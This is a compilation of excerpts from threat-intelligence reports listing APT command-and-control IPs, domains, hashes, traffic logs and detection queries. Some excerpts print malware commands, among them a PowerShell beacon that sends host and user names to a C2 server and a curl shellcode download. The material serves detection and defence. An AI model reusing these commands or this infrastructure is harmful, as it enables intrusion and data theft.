4.4.3 HOSTS 45.95.186.232:80 45.43.60.53:80 70.36.97.236:443 TAG {Specific Identifier} {Name of Company Damaged} {Name of Company Damaged}_it1 MUTEX…","…HTTP response for job description document This implant (csrss.exe) compiled January 15, 2018 contacts an IP address 70.42.52.80 which resolves to deltaemis.com.…","…property. Impact Data Theft and Espionage Sensitive Data Exposure Indicators of Compromise Domain Name atlanwelt.de IP 72.14.155.62 MD5 e9a54529a55bada06fdf95e0b7de77cd SHA-256 7689f8c2bfff6262a5885f3e5afc5442dc8a60bfa463da821e348b095d45e362 SHA1…","…property. Impact Data Theft and Espionage Sensitive Data Exposure Indicators of Compromise Domain Name revoults.online IP 72.14.155.62 URL http://72.14.155.62/dash/index.php?ati=Kur-55502ecd073cb632_55502ecd073cb632 Remediation Block all threat indicators at your…","…Data Exposure Indicators of Compromise Domain Name nts-service.o-r.kr o-r.kr r-e.kr n-e.kr kro.kr memconfirms.online IP 72.14.155.62 Remediation Block all threat indicators at your respective controls. Search for indicators of compromise (IOCs) in your environment…","…(TCP) 23.75.68.149:443 (TCP) 255.255.255.255:67 (UDP) 54.189.10.237:443 (TCP) 67.195.204.56:443 (TCP) 67.195.228.56:443 (TCP) 72.21.91.29:80 (TCP) 8.8.8.8:53 (UDP) 2023-04-26 07:53:46 UTC 바이러스토탈(VirusTotal) 기준으로 탐지하는 보안 업체들은 다음과 같습니다.…","…we were able to identify an additional C2 server belonging to the same attackers: Destination:Port Type Bytes Transfered 73.245.147.162:443 SSL Less than 1.5MB While this additional C2 hasn't been reported previously, there were no additional hosts found that…","…악성코드 실행시 나오는 안보칼럼 으로 위장한 HWP 악성코드 IP Traffic 104.123.41.162:80 (TCP) 23.55.161.142:80 (TCP) 52.219.169.16:80 (TCP) 74.120.8.15:443(TCP) https://api.pcloud.com/listfolder?path=/ https://api.pcloud.com/getfilelink?path=/Program/???????&forcedownload=1&skipfilename=1 h…","…172.93.201.219 United States ASN20278 Nexeon Technologies, Inc. 64.188.19.117 United States ASN8100 QuadraNet Enterprises LLC 74.121.190.121 United States ASN23033 Wowrack.com 192.210.213.178 United States ASN36352 ColoCrossing 209.90.234.34 United States ASN23033 Wowrack.com…","…(TCP) 23.33.241.186:443 (TCP) 23.47.64.173:443 (TCP) 23.47.64.24:443 (TCP) 23.55.60.32:443 (TCP) 54.80.119.162:443 (TCP) 74.125.136.101:443 (TCP) 현재 탐지 하고 있는 보안 업체들 AhnLab-V3:Trojan/OSX.Agent.169488 ALYac:Trojan.OSX.Nukesped Arcabit:Trojan.MAC.Lazarus.T [many] Avira (no…","…92.178.27.195:443(TCP) 192.178.49.195:443(TCP) 239.255.255.250:1900(UDP) 34.104.35.123:80(TCP) 34.87.124.238:443(TCP) 63.250.38.85:443(TCP) 74.125.143.94:443(TCP) 8.8.8.8:53(UDP) 2023-08-22 08:37:31 UTC 바이러스토탈에서 탐지하는 보안 업체들은 다음과 같습니다.…","…per.net zwfaxi.com IPs: 104.148.109.48 107.175.130.191 132.148.240.198 134.73.90.114 172.81.132.211 173.248.170.149 5.196.169.223 74.208.247.127 92.222.212.0 Share this: Tweet Share on Tumblr Related Posted in advanced persistent threats ,…","…IP 216.219.87.41 74.50.94.175 Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP . For subscription details, click the banner…","…Type LNK 파일 IP(C2) PORT(C2) 생성 파일(C2) A 20250201_388165727.eml.lnk 20250114_27263.docx.lnk 74.50.94.175 9992 t.zip B 20250206_68013.docx.lnk 74.50.94.175 7648 k.zip [표 2] 유형별 사용된 C2 정보…","…C&C 서버와 연관된 피싱 메일 추가로 C&C 서버 74.50.94.175가 과거 피싱 메일에 활용된 이력이 존재합니다.…","…| caption - 각 메일에서 확인된 정보 피싱 사이트 도메인인 olsiop.shop 과 acieodls.shop 은 74.50.94.47 ip 주소와 연결된 흔적이 확인되었으며, X-PHP-Script 헤더에 존재하는 74.50.94.175 와 동일한 대역대의 ip 주소입니다.…","….co.uk Webdock.io ApS 2024-06-13 ScoringMathTea C&C server: https://trainingpharmacist.co.uk/bootstrap/bootstrap.php 75.102.23.3 mediostresbarbas .com.ar DEFT.COM 2024-06-05 ScoringMathTea C&C server:…","…일부이다. Start-Sleep -Seconds 67; $nvSklUbaQ = 1024 * 1024; $yixgsFVy = $env:COMPUTERNAME + '-' + $env:USERNAME+'-SH'; $aWw = 'http://75.119.136.207/config/bases/config.php' + '?U=' + $yixgsFVy; $bLmoifqHwJxhE = $env:TEMP + '/KsK'; if (!(Test-Path $bLmoifqHwJxhE)) { New-ItemProperty…","…file. Start-Sleep -Seconds 67; $nvSklUbaQ = 1024 * 1024; $yixgsFVy = $env:COMPUTERNAME + '-' + $env:USERNAME+'-SH'; $aWw = 'http://75.119.136.207/config/bases/config.php' + '?U=' + $yixgsFVy; $bLmoifqHwJxhE = $env:TEMP + '/KsK'; if (!(Test-Path $bLmoifqHwJxhE)) { New-ItemProperty…","…-Seconds 67; # 변수 설정 $nvSklUbaQ = 1024 * 1024; $yixgsFVy = $env:COMPUTERNAME + '-' + $env:USERNAME + '-SH'; # URL 생성 $aWw = 'http://75.119.136.207/config/bases/config.php' + '?U=' + $yixgsFVy; # 파일 경로 생성 $bLmoifqHwJxhE = $env:TEMP + '/KsK'; # 파일 경로가 존재하지 않으면 if (!(Test-Path…","…运行的Powershell指令功能如下： 检查$env:TEMP/KsK目录是否存在，不存在则调用mshta.exe 执行http://bian0151.cafe24.com/admin/board/1.html 持续获取主机名以及用户名发送到http://75.119.136.207/config/bases/config.php，然后获取返回值，如果返回值中包含regedit:关键词，则将服务器返回的注册表键值写入注册表中…","…poisoning BLOCK / MONITOR 2 94.154.43.185 PHP web shell tooling / upload-progress session poisoning BLOCK / MONITOR 3 75.119.143.189 PHP web shell tooling / upload-progress session poisoning BLOCK / MONITOR 4 117.203.73.63 PHP web shell tooling /…","…CBC-CM-5 (NET-75-144-0-0-1) 75.144.0.0 - 75.151.255.255 Comcast Business Communications, Inc.…","…is located in the US. GET /flash.gif HTTP/1.0 Accept: */* User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: 75.151.32.182 Connection: Keep-Alive where flash.gif is the malware executable wrapped inside a JPEG header. An IP WHOIS for this cnc…","…CBC-NAPLES-13 (NET-75-151-32-0-1) 75.151.32.0 - 75.151.47.255 I am not positive but it looks to me like a compromised host now serving as the CnC. Another interesting thing to note here is that…","…(Injection_API_log_generating_s...) f3e521996c85c0cdb2bfb3a0fd91eb03e25ba6feef2ba3a1da844f1b17278dd2 (inject_api) IPs (1) 75.99.63.27 Findings 820ca1903a30516263d630c7c08f2b95f7b65dffceb21129c51c9e21cf9551c6 Tags backdoorproxytrojan Details Name…","…127.0.0.1 N/A 2015-10-30 2015-11-20 100.158.242.245 46.100.250.10 Iran 2015-11-27 2016-01-07 53.250.8.254 76.9.60.204 Canada 2016-01-14 2016-08-17 87.151.206.56 The application establishes a HTTPS connection, introducing itself as \"TestCom…","…IP 174.138.186.157 213.145.86.223 77.246.101.72 Tags: APT AutoIT backdoor CAB Decoy Endoor EndRAT 미끼문서 바로가기 디코이 HTA HWP 한글문서 JSE…","…C2 109.234.36.135 144.124.247.97 77.246.101.72 77.246.108.96 aceeyl.com althouqroastery.com anupamaivf.com appoitment.dotoit.media creativepackout.co encryptuganda.org genuinasho…","…C2 109.234.36.135 144.124.247.97 77.246.101.72 77.246.108.96 aceeyl.com althouqroastery.com anupamaivf.com appoitment.dotoit.media creativepackout.co encryptuganda.org genuinashop.com igamingr…","…2025-02-22 ScoringMathTea C&C server: https://www.anvil.org.ph/list/images/index.php 77.55.252.111 partnerls.pl Nazwa.pl Sp.z.o.o.…","…⚫ 31.220.5.43 ⚫ 45.32.121.84 Operation Double Barrel 64 ⚫ 45.32.25.205 ⚫ 45.76.48.70 ⚫ 51.15.109.222 ⚫ 77.73.66.137 ⚫ 86.106.85.89 ⚫ 154.205.138.70 ⚫ 154.90.62.67 ⚫ 118.219.232.101 ⚫ 114.108.139.39 ⚫ 158.247.206.214 B.…","…A compromised legitimate WordPress-based site hosting the C&C server: https://turnscor.com/wp-includes/contacts.php 78.11.12.13 mantis.quick.net.pl Netia SA 2021‑03‑22 A compromised legitimate site hosting the C&C server:…","…quiz-nest.com 51.210.235.45 7 provevidskillcheck.com 31.220.40.22 8 evalswift.com 78.110.166.82 References: [1]New campaign targeting security…","…not a list of individually confirmed C2 services. For storage.hubpage.cloud , three distinct certificates occur on: 45.11.59.140 78.141.211.155 45.11.59.99 The repeated SAN crosses hosting networks and Subject labels.…","…IP Addresses 51.254.24.19 185.152.67.39 70.39.103.3 66.187.75.186 104.223.86.8 100.21.104.112 23.95.182.5 78.141.223.50 116.202.251.38 89.44.9.202 192.185.5.189 162.241.248.14 179.43.151.196 45.82.250.186 162.19.3.23 144.217.92.197…","…poisoning BLOCK / MONITOR 16 185.207.232.121 PHP web shell tooling / upload-progress session poisoning BLOCK / MONITOR 17 78.47.85.99 PHP web shell tooling / upload-progress session poisoning BLOCK / MONITOR C.…","…Ltd . info@clearskysec.com www.clearskysec.co m TLP: W hite Page | 17 June 20 20 IP addresses 66.181.166.11 78.94.213.101 203.144.133.42 69.64.54.215 210.212.148.30 66.181.166.15 23.65.190.86 70.184.87.103 91.98.251.208 59.127.150.197…","…phishing campaign: 79.110.55.3 — Later seen developing the generator.php 79.110.55.5 — Later seen testing the phishing infrastructure 79.110.55.10 — Later seen testing the tracking pixel 79.110.55.11 — Later seen accessing the log directory 4.…","…the generator.php 79.110.55.5 — Later seen testing the phishing infrastructure 79.110.55.10 — Later seen testing the tracking pixel 79.110.55.11 — Later seen accessing the log directory 4.…","…Evidence of Initial Setup: 127.0.0.1:80 52.228.152.193 — — [03/Jan/2025:07:01:44 +0100] “\\x16\\x03\\x01” 400 483 “-” “-” 127.0.0.1:80 79.110.55.14 — — [03/Jan/2025:07:05:28 +0100] “\\x16\\x03\\x01\\x07” 400 483 “-” “-” 127.0.0.1:80 79.110.55.14 — — [03/Jan/2025:07:05:29 +0100]…","…the wrong port. Operator IP Range : The IP 79.110.55.14 is from the same subnet as other IPs later involved in the phishing campaign: 79.110.55.3 — Later seen developing the generator.php 79.110.55.5 — Later seen testing the phishing infrastructure 79.110.55.10 — Later seen testing…","…is from the same subnet as other IPs later involved in the phishing campaign: 79.110.55.3 — Later seen developing the generator.php 79.110.55.5 — Later seen testing the phishing infrastructure 79.110.55.10 — Later seen testing the tracking pixel 79.110.55.11 — Later seen accessing…","…The threat actor also downloaded MeshAgent from http://79.124.58.130/dl/git.exe , also via certutil.exe .…","…Impact Data Theft and Espionage Sensitive Data Exposure Indicators of Compromise Domain Name radiofreeasia.blog rfa.lol IP 79.133.56.173 MD5 f1b542971711bf229d02f5e385225a8d SHA-256 ae4dc41b8f5664b5aef5d82be55624d53be4ead0a23b029ae290e02c8d5f9e4f SHA1…","…23.254.230.253 2024-02-21 2024-03-26 JavaScript indobit.io 146.70.88.126 2024-03-19 2024-03-20 Python api.thaibit.io 79.137.248.193 2024-03-07 2024-03-09 Python chainanalyser.com 38.180.62.135 2024-02-23 2024-03-06 JavaScript Additional…","…~ 2.5.29 해결 버전: 2.5.30 TCO!Stream 취약점 정보: 자산 관리 솔루션(TCO!Stream) 취약점 주의 및 업데이트 권고 (2023.03.07) 영향 받는 버전: 8.0.22.1115 이하 해결 버전: 8.0.23.215 AhnLab에서는 해당 악성코드, 악성 행위 및 URL들에 대해서 다음과 같이 탐지하고 있다.…","…critical SideWinder APT Credential Harvesting Campaign — PaaS Platform Abuse at Scale 4/5/2026 critical SuperShell C2 Panel at 8.216.26.169:8888 4/3/2026 critical Android TV Botnet Landscape: Bigpanzi, Kimwolf, and the Misattribution of Kimsuky 4/3/2026…","…(TCP) 209.140.135(.0)138:443 (TCP) 209.140.135.138:80 (TCP) 212.82.100.137:443 (TCP) 212.82.100.137:80 (TCP) 52.142.124.215:443 (TCP) 8.247.209.254:80 (TCP) 82.145.216.20:443 (TCP) 82.145.216.20:80 (TCP) 87.248.116.11:443 (TCP) 2023-11-09 00:05:16 UTC 기준 바이러스토탈에서 탐지하는 보안 업체들은 다음과…","…요청(해당 사이트 폭파) https://naver-file.com:443/download/list.php?q=e1&18467=41 DNS 확인 naver-file.com IP 트래픽 5.8.71.81:443(TCP) 8.247.211.254:80(TCP) 2023-05-29 16:01:00 UTC 기준 바이러스토탈에서 탐지하는 보안 업체들은 다음과 같습니다.…","…VBScript로 실행 즉 서버에서 반환된 데이터가 VBScript 코드일 경우 해당 코드가 실행 사용하는 IP 트래픽 157.7.184.26:80(TCP) 208.111.177.0:80(TCP) 209.197.3.8:80(TCP) 8.248.153.254:80(TCP) 8.252.193.254:80(TCP) 2023-10-16 07:48:48 UTC 기준 바이러스토탈 에서 탐지하는 보안 업체들은 다음과…","…반환된 데이터가 VBScript 코드일 경우 해당 코드가 실행 사용하는 IP 트래픽 157.7.184.26:80(TCP) 208.111.177.0:80(TCP) 209.197.3.8:80(TCP) 8.248.153.254:80(TCP) 8.252.193.254:80(TCP) 2023-10-16 07:48:48 UTC 기준 바이러스토탈 에서 탐지하는 보안 업체들은 다음과…","….11 211.233.13.62 211.236.42.52 211.49.171.243 218.103.37.22 221.138.17.152 221.161.82.208 23.115.75.188 61.100.180.9 61.78.63.95 80.153.49.82 Ignite ’17 Security Conference: Vancouver, BC June 12–15, 2017 Ignite ’17 Security Conference is a live, four-day conference…","…분석 보고서 MD5 185bc3037314ec2dbd6591ad72cf08b4 81ee91290a78d2d38b47a7ae25ec717f b500a8ffd4907a1dfda985683f1de1df URL http://80.66.76.22/servicem.exe AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다.…","…The new MoonPeak C2 server was also accessed by the attackers using RDP (port 3389) using two other remote IP addresses – 80.71.157.55 and 95.164.86.148 during the time it was under UAT-5394's control.…","…27202534cc03a398308475146f6710b790aa31361931d4fe1b495c31c3ed54f7 Network IOCs 167.88.173.173 95.164.86.148 80.71.157.55 84.247.179.77 45.87.153.79 45.95.11.52 104.194.152.251 yoiroyse.store pumaria.store 27.255.81.118 212.224.107.244 27.255.80.162…","…2024-06-10 2024-06-28 JavaScript cdn.logosports.net 185.62.58.74 2024-05-08 2024-06-23 Python skypredict.org 80.82.77.80 2024-05-06 2024-06-16 JavaScript api.bitzone.io 192.248.145.210 2024-04-25 2024-05-13 Python weatherdatahub.org…","…- 80.91.118.45:443 (AL) - 181.119.19.56:443 (AR) - 111.207.78.204:443 (CN) - 184.107.209.2:443 (CA) [그림 9] 'leo.exe' 악성 프로그램이 통신하는 서버 IP 주소…","…(dwnhost.dll) IPs (7) 111.207.78.204 181.119.19.56 184.107.209.2 59.90.93.97 80.91.118.45 81.0.213.173 98.101.211.162 Findings 8c3e0204f52200325ed36db9b12aba1c5e46984d415514538a5bf10783cacdf8 Tags backdoorremote-access…","…80.91.118.45 Ports 443 TCP Whois inetnum: 80.91.118.0 - 80.91.119.255 netname: Abissnet descr: Business Customers country: AL admin-c: AB34506-RIPE tech-c: AB34506-RIPE status: ASSIGNED PA mnt-by:…","…20abb95114de946da7595438e9edf0bf39c85ba8512709db7d5532d37d73bd64 81.0.213.173 Ports 443 TCP Whois inetnum: 81.0.213.168 - 81.0.213.175 netname: CmsConsulting-CZ descr: CMS Consulting s.r.o. country: CZ admin-c: CASA3-RIPE tech-c: CASA3-RIPE status: ASSIGNED…","…(dwnhost.dll) IPs (7) 111.207.78.204 181.119.19.56 184.107.209.2 59.90.93.97 80.91.118.45 81.0.213.173 98.101.211.162 Findings 8c3e0204f52200325ed36db9b12aba1c5e46984d415514538a5bf10783cacdf8 Tags backdoorremote-access-trojantrojan…","…81.0.213.173 Ports 443 TCP Whois inetnum: 81.0.213.168 - 81.0.213.175 netname: CmsConsulting-CZ descr: CMS Consulting s.r.o. country: CZ admin-c: CASA3-RIPE tech-c: CASA3-RIPE status: ASSIGNED PA mnt-by:…","…[그림 5] '3.txt' 파일 코드 화면 마지막으로 변환되는 'setup.cab' 압축 파일 내부에는 'install.bat', 'picture.exe' 파일이 포함되어 있으며, '81.90.188.76' C2 서버의 명령을 대기하게 됩니다.…","…197.211.212.59 21.252.107.198 210.137.6.37 217.117.4.110 218.255.24.226 221.138.17.152 26.165.218.44 47.206.4.145 70.224.36.194 81.94.192.10 81.94.192.147 84.49.242.125 97.90.44.200 ARTFULPIE SHA-256: 606c6000f36dc69fefc6df828e1ac9c5529a71a62b99f5df55463606c4c9689c…","…0 197.211.212.59 21.252.107.198 210.137.6.37 217.117.4.110 218.255.24.226 221.138.17.152 26.165.218.44 47.206.4.145 70.224.36.194 81.94.192.10 81.94.192.147 84.49.242.125 97.90.44.200 Findings 05feed9762bc46b47a7dc5c469add9f163c16df4ddaafe81983a628da5714461 Tags trojan…","…21.252.107.198 210.137.6.37 217.117.4.110 218.255.24.226 221.138.17.152 26.165.218.44 47.206.4.145 70.224.36.194 81.94.192.10 81.94.192.147 84.49.242.125 97.90.44.200 ARTFULPIE SHA-256: 606c6000f36dc69fefc6df828e1ac9c5529a71a62b99f5df55463606c4c9689c 193.56.28.103…","….59 21.252.107.198 210.137.6.37 217.117.4.110 218.255.24.226 221.138.17.152 26.165.218.44 47.206.4.145 70.224.36.194 81.94.192.10 81.94.192.147 84.49.242.125 97.90.44.200 Findings 05feed9762bc46b47a7dc5c469add9f163c16df4ddaafe81983a628da5714461 Tags trojan Details…","…no DNS query is made for the name. 81.94.192.147 Tags command-and-control Ports 443 TCP Whois inetnum: 81.94.192.0 - 81.94.192.255 netname: IOMARTHOSTING descr: iomart Hosting Limited country: GB admin-c: RA1415-RIPE tech-c: RA1415-RIPE status: ASSIGNED PA remarks:…","…then writes the decrypted data to a file and executes it in a new shell. cryptais.com Information as of August 2021: IP Address: 82.102.31.14 Registrar: NameCheap, Inc. Created: August 2, 2021 Expires: August 2, 2022…","…seen adaptation of #FakeCaptcha to MacOS downloading an infostealer Run: https://t.co/1m1o2nb33w Sample: https://t.co/jHNDnUb5FB C2: /82.115.223.9/contact Via fake Safeguard verification /lasso-security.com/1-93248234/macos2.html pic.twitter.com/N6X7V5FMKw — Who said what? (@g0njxa)…","…The following information was found in the network logs: Destination:Port Type Bytes Transfered 82.144.131.5:8080 I ncomplete Less than 1KB 82.144.131.5:443 SSL Less than 3KB By checking other non-whitelisted hosts and IP ranges we were…","…(TCP) 209.140.135.138:80 (TCP) 212.82.100.137:443 (TCP) 212.82.100.137:80 (TCP) 52.142.124.215:443 (TCP) 8.247.209.254:80 (TCP) 82.145.216.20:443 (TCP) 82.145.216.20:80 (TCP) 87.248.116.11:443 (TCP) 2023-11-09 00:05:16 UTC 기준 바이러스토탈에서 탐지하는 보안 업체들은 다음과 같습니다.…","…uw05webzoom.us, uw03webzoom.us, uv01webzoom.us, uv03webzoom.us, uv04webzoom.us, ux06webzoom.us, ur01webzoom.us C2 IPs 83.136.208.246, 83.136.209.22, 104.145.210.107, 83.136.208.48, 83.136.210.180 Operational Ports 443 (Telegram API), 5202 (Beacons), 8443…","…downloader. Once decoded, the implant reveals a full C2 beacon with a beacon-task-result architecture, configured to communicate with 83.136.208.246:6783 .…","…endpoints, 104.145.210.107 [5] over port 8443 and 83.136.208.48 [6] over port 443 Outbound connections to the rare external endpoint, 83.136.208.246 [7] over port 6783 with observed URI `/api/daemon` and a PowerShell user agent Darktrace’s detection initially highlighted a desktop…","…com.apple.cli performs host reconnaissance while maintaining repeated outbound connectivity to the threat actor‑controlled C2 endpoint 83.136.208.246:6783.…","…uv03webzoom.us, uv04webzoom.us, ux06webzoom.us, ur01webzoom.us C2 IPs 83.136.208.246, 83.136.209.22, 104.145.210.107, 83.136.208.48, 83.136.210.180 Operational Ports 443 (Telegram API), 5202 (Beacons), 8443 (Data Staging/Upload), 6783 (Exfiltration)…","…IP address, 83.136.210.180 [4] over port 7365 Outbound connections to the rare external endpoints, 104.145.210.107 [5] over port 8443 and 83.136.208.48 [6] over port 443 Outbound connections to the rare external endpoint, 83.136.208.246 [7] over port 6783 with observed URI `/api/daemon`…","…\"uv04webzoom.us\", \"ux06webzoom.us\", \"check02id.com\"]); let c2_ips = dynamic([\"188.227.196.252\", \"83.136.208.246\", \"83.136.209.22\", \"83.136.208.48\", \"83.136.210.180\", \"104.145.210.107\", “188.227.197.136”]); DeviceNetworkEvents | where Timestamp > ago(30d) | where RemoteUrl has_any…","…microb.click [3] 2026-03-25 04:18:23 CloudFlare 13335 CloudFlare NameSilo, LLC 36 ms-meets.us.com 2026-03-25 03:54:35 83.136.208.87 400897 PETROSKY CLOUD LLC NameSilo, LLC 37 microp.click [3] 2026-03-25 02:00:29 CloudFlare 13335 CloudFlare NameSilo,…","…uw03webzoom.us, uv01webzoom.us, uv03webzoom.us, uv04webzoom.us, ux06webzoom.us, ur01webzoom.us C2 IPs 83.136.208.246, 83.136.209.22, 104.145.210.107, 83.136.208.48, 83.136.210.180 Operational Ports 443 (Telegram API), 5202 (Beacons), 8443 (Data…","…Chromium browser processes. Shellcode Download curl.exe -X POST -k -H ‘Auth: ufjqsmjsaydc9ub6t1e0psn8183lvu2z’ https://83.136.209.22:8444/download?id=8766ceb975cadedca38aad72091017cdb5d3e4c8f8af0441 The encrypted payload is decrypted in memory using…","…\"uv03webzoom.us\", \"uv04webzoom.us\", \"ux06webzoom.us\", \"check02id.com\"]); let c2_ips = dynamic([\"188.227.196.252\", \"83.136.208.246\", \"83.136.209.22\", \"83.136.208.48\", \"83.136.210.180\", \"104.145.210.107\", “188.227.197.136”]); DeviceNetworkEvents | where Timestamp > ago(30d) | where…","…uv04webzoom.us, ux06webzoom.us, ur01webzoom.us C2 IPs 83.136.208.246, 83.136.209.22, 104.145.210.107, 83.136.208.48, 83.136.210.180 Operational Ports 443 (Telegram API), 5202 (Beacons), 8443 (Data Staging/Upload), 6783 (Exfiltration) Strategic…","…address, 148.72.73.98 [2][3] over port 443 Outbound connections to the rare external endpoint, check02id.com associated with IP address, 83.136.210.180 [4] over port 7365 Outbound connections to the rare external endpoints, 104.145.210.107 [5] over port 8443 and 83.136.208.48 [6] over port…","…\"ux06webzoom.us\", \"check02id.com\"]); let c2_ips = dynamic([\"188.227.196.252\", \"83.136.208.246\", \"83.136.209.22\", \"83.136.208.48\", \"83.136.210.180\", \"104.145.210.107\", “188.227.197.136”]); DeviceNetworkEvents | where Timestamp > ago(30d) | where RemoteUrl has_any (c2_domains) or…","…NAMECHEAP INC 60 ms-meets.xyz 2026-03-14 13:08:43 83.136.210.29 400897 PETROSKY CLOUD LLC NAMECHEAP INC 61 microsout.com 2026-03-14 12:55:01 68.65.121.248 22612 Namecheap, Inc.…","…NAMECHEAP INC 14 teams-meet.xyz 2026-04-01 14:26:06 83.136.210.87 400897 PETROSKY - PETROSKY CLOUD LLC NAMECHEAP INC 15 inmsed.com 2026-04-01 10:01:49 23.254.167.21 54290 HOSTWINDS -…","…Domain： myemail.works anicloud.ru cloud-sheet.net sharesvr.net filehost.network msftoffice.com IP： 84.201.189.216 89.134.49.3 apt分析 APT , cryptocurrency , lazarus , 加密货币 , 拉撒路 Post navigation…","…vmd caption - md5 IP 103.77.242.187 160.187.147.119 84.247.145.65 210.183.177.217 103.249.117.183 URL…","…45.8.68.79 45.8.68.80 45.83.220.216 45.86.202.216 45.86.202.4 45.95.243.104 45.95.243.155 66.115.146.163 78.109.18.227 84.247.59.103 84.247.59.113 84.247.59.115 84.247.59.123 84.247.59.13 84.247.59.145 84.247.59.146 84.247.59.27 84.247.59.47…","…45.83.220.216 45.86.202.216 45.86.202.4 45.95.243.104 45.95.243.155 66.115.146.163 78.109.18.227 84.247.59.103 84.247.59.113 84.247.59.115 84.247.59.123 84.247.59.13 84.247.59.145 84.247.59.146 84.247.59.27 84.247.59.47 84.247.59.57 84.247.59.7…","…45.86.202.216 45.86.202.4 45.95.243.104 45.95.243.155 66.115.146.163 78.109.18.227 84.247.59.103 84.247.59.113 84.247.59.115 84.247.59.123 84.247.59.13 84.247.59.145 84.247.59.146 84.247.59.27 84.247.59.47 84.247.59.57 84.247.59.7 84.247.59.80…","…45.86.202.4 45.95.243.104 45.95.243.155 66.115.146.163 78.109.18.227 84.247.59.103 84.247.59.113 84.247.59.115 84.247.59.123 84.247.59.13 84.247.59.145 84.247.59.146 84.247.59.27 84.247.59.47 84.247.59.57 84.247.59.7 84.247.59.80 84.247.59.86…","…45.95.243.104 45.95.243.155 66.115.146.163 78.109.18.227 84.247.59.103 84.247.59.113 84.247.59.115 84.247.59.123 84.247.59.13 84.247.59.145 84.247.59.146 84.247.59.27 84.247.59.47 84.247.59.57 84.247.59.7 84.247.59.80 84.247.59.86 85.203.15.104…","…45.95.243.155 66.115.146.163 78.109.18.227 84.247.59.103 84.247.59.113 84.247.59.115 84.247.59.123 84.247.59.13 84.247.59.145 84.247.59.146 84.247.59.27 84.247.59.47 84.247.59.57 84.247.59.7 84.247.59.80 84.247.59.86 85.203.15.104 85.203.15.105…","…66.115.146.163 78.109.18.227 84.247.59.103 84.247.59.113 84.247.59.115 84.247.59.123 84.247.59.13 84.247.59.145 84.247.59.146 84.247.59.27 84.247.59.47 84.247.59.57 84.247.59.7 84.247.59.80 84.247.59.86 85.203.15.104 85.203.15.105 85.203.15.45…","…78.109.18.227 84.247.59.103 84.247.59.113 84.247.59.115 84.247.59.123 84.247.59.13 84.247.59.145 84.247.59.146 84.247.59.27 84.247.59.47 84.247.59.57 84.247.59.7 84.247.59.80 84.247.59.86 85.203.15.104 85.203.15.105 85.203.15.45 85.203.44.133…","…84.247.59.103 84.247.59.113 84.247.59.115 84.247.59.123 84.247.59.13 84.247.59.145 84.247.59.146 84.247.59.27 84.247.59.47 84.247.59.57 84.247.59.7 84.247.59.80 84.247.59.86 85.203.15.104 85.203.15.105 85.203.15.45 85.203.44.133 85.203.45.198…","…84.247.59.113 84.247.59.115 84.247.59.123 84.247.59.13 84.247.59.145 84.247.59.146 84.247.59.27 84.247.59.47 84.247.59.57 84.247.59.7 84.247.59.80 84.247.59.86 85.203.15.104 85.203.15.105 85.203.15.45 85.203.44.133 85.203.45.198 86.48.13.166…","…84.247.59.115 84.247.59.123 84.247.59.13 84.247.59.145 84.247.59.146 84.247.59.27 84.247.59.47 84.247.59.57 84.247.59.7 84.247.59.80 84.247.59.86 85.203.15.104 85.203.15.105 85.203.15.45 85.203.44.133 85.203.45.198 86.48.13.166 91.221.66.87…","…84.247.59.115 84.247.59.123 84.247.59.13 84.247.59.145 84.247.59.146 84.247.59.27 84.247.59.47 84.247.59.57 84.247.59.7 84.247.59.80 84.247.59.86 85.203.15.104 85.203.15.105 85.203.15.45 85.203.44.133 85.203.45.198 86.48.13.166 91.221.66.87 94.200.95.34…","…84.247.59.123 84.247.59.13 84.247.59.145 84.247.59.146 84.247.59.27 84.247.59.47 84.247.59.57 84.247.59.7 84.247.59.80 84.247.59.86 85.203.15.104 85.203.15.105 85.203.15.45 85.203.44.133 85.203.45.198 86.48.13.166 91.221.66.87 94.200.95.34…","…C2 URL (HWP document) IP Addresses Value Note 84.32.129.32 Cherry Servers VPS 84.32.131.104 Cherry Servers VPS 84.32.131.30 Cherry Servers VPS 84.32.131.50 Cherry Servers VPS…","…use, the domains temporarily make use of Lithuania’s Cherry Servers virtual private server (VPS) hosting service – 84.32.131.87 , and 84.32.131.104 in this case. A repeating trend is the actor registering domains through Namecheap, leaving the domain parked on a Namecheap IP address,…","…Domain cloud-api.yandex.net uploader[숫자][영문].disk.yandex.net RokRAT C2 (yandex Cloud Service URL) 6 IP 84.32.131.214 7 IP 222.97.189.148 8 IP 213.180.204.127 9 IP 141.8.156.0/24…","…URL (HWP document) IP Addresses Value Note 84.32.129.32 Cherry Servers VPS 84.32.131.104 Cherry Servers VPS 84.32.131.30 Cherry Servers VPS 84.32.131.50 Cherry Servers VPS 84.32.131.59 Cherry Servers VPS 84.32.131.66 Cherry Servers VPS…","…Value Note 84.32.129.32 Cherry Servers VPS 84.32.131.104 Cherry Servers VPS 84.32.131.30 Cherry Servers VPS 84.32.131.50 Cherry Servers VPS 84.32.131.59 Cherry Servers VPS 84.32.131.66 Cherry Servers VPS 84.32.131.87 Cherry Servers VPS…","…Cherry Servers VPS 84.32.131.104 Cherry Servers VPS 84.32.131.30 Cherry Servers VPS 84.32.131.50 Cherry Servers VPS 84.32.131.59 Cherry Servers VPS 84.32.131.66 Cherry Servers VPS 84.32.131.87 Cherry Servers VPS Email Addresses Value Note…","…Cherry Servers VPS 84.32.131.30 Cherry Servers VPS 84.32.131.50 Cherry Servers VPS 84.32.131.59 Cherry Servers VPS 84.32.131.66 Cherry Servers VPS 84.32.131.87 Cherry Servers VPS Email Addresses Value Note c039911@daum.net Phishing email…","…During their illicit use, the domains temporarily make use of Lithuania’s Cherry Servers virtual private server (VPS) hosting service – 84.32.131.87 , and 84.32.131.104 in this case. A repeating trend is the actor registering domains through Namecheap, leaving the domain parked on a…","…gyvan3-ppfhg.link shelby-cp-ecole.org vinetro.info tarifaconcursodeacreedores.top appleplus.shop 80 443 3389 84.32.186.252 NL UAB Cherry Servers N/A ulta.appleplus.store 22 2083 2086 2087 8080 8443 8888 185.239.0.43 IR Web Dadeh Paydar Co (Ltd)…","…NAMECHEAP INC 158 uswe05.us 2025-07-29 03:06:13 84.32.84.157 47583 AS-HOSTINGER Hostinger International Limited NAMECHEAP INC 159 us10web.us 2024-09-03 23:33:09 91.195.240.123 47846…","…NAMECHEAP INC 96 web05us.online 2026-02-21 10:30:32 84.32.84.32 47583 AS-HOSTINGER Hostinger International Limited Hostinger UAB 97 us05web.site 2026-02-21 10:24:02 84.32.84.32 47583…","…IP 84.38.129.21 AhnLab TIP 를 구독하시면 연관 